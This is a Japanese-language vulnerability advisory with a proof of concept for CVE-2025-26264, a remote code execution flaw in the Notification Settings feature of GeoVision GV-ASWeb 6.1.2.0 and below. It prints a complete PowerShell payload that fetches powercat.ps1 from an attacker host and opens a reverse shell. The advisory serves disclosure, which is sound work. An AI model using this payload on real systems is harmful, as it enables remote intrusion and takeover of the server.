CVE-2025-26264

CVE-2025-26264 - GeoVision GV-ASWeb バージョン 6.1.2.0 以下には、Notification Settings 機能にリモートコード実行 (RCE) の脆弱性が存在します。ASWeb で「システム設定」権限を持つ認証済み攻撃者は、この欠陥を悪用してサーバー上で任意のコマンドを実行し、システム全体を完全に侵害する可能性があります。

要件

攻撃を成功させるには、攻撃者には以下が必要です:

• バージョン 6.1.2.0 以下の GV-ASManager Web アプリケーションへのネットワークアクセス;
• 通知設定 機能の管理権限を持つアカウントへのアクセス。

影響

この脆弱性は、以下の不正な操作を実行するために悪用される可能性があります:

• 通知設定 機能の管理権限を持つアカウントは、以下のことが可能です:
  • リモートコード実行攻撃を実行する。
• 攻撃成功後、攻撃者は以下のことが可能になります:
  • 機密性の高いシステム情報へのアクセス、変更、削除;
  • システムへのバックドアの設置;
  • ランサムウェア攻撃の実行;
  • 内部ネットワークでの水平移動 (ラテラルムーブメント)。

CVE-2025-26264 PoC [GeoVision v6.1.2.0 のテスト]

GeoVision GV-ASManager の ASWeb プラットフォームにおけるリモートコード実行の脆弱性は、バージョン 6.1.2.0 以下に対して悪用が可能です (2025年2月26日時点で修正はありません)。

GeoVision ASManager の ASWeb 機能「通知設定」は RCE に対して脆弱です

特定のイベントに対する通知を設定する HTTP リクエスト: TAWeb ログイン試行の失敗

このスクリプトによると、TAWeb ログイン試行が失敗した場合、次の PowerShell スクリプトが実行されます:

powershell.exe Set-ExecutionPolicy Bypass -Force;IEX(New-Object System.Net.WebClient).DownloadString('http://LHOST/powercat.ps1');powercat -c LHOST -p LPORT -e powershell

TAWeb における認証の失敗した試行

被害者ホスト: スクリプトは攻撃者ホストへのバックドアを開きます。

攻撃者ホスト: 攻撃者はシェルを取得します。

問い合わせ

ご質問がある場合は、LinkedIn で私 Giorgi Dograshvili までご連絡ください。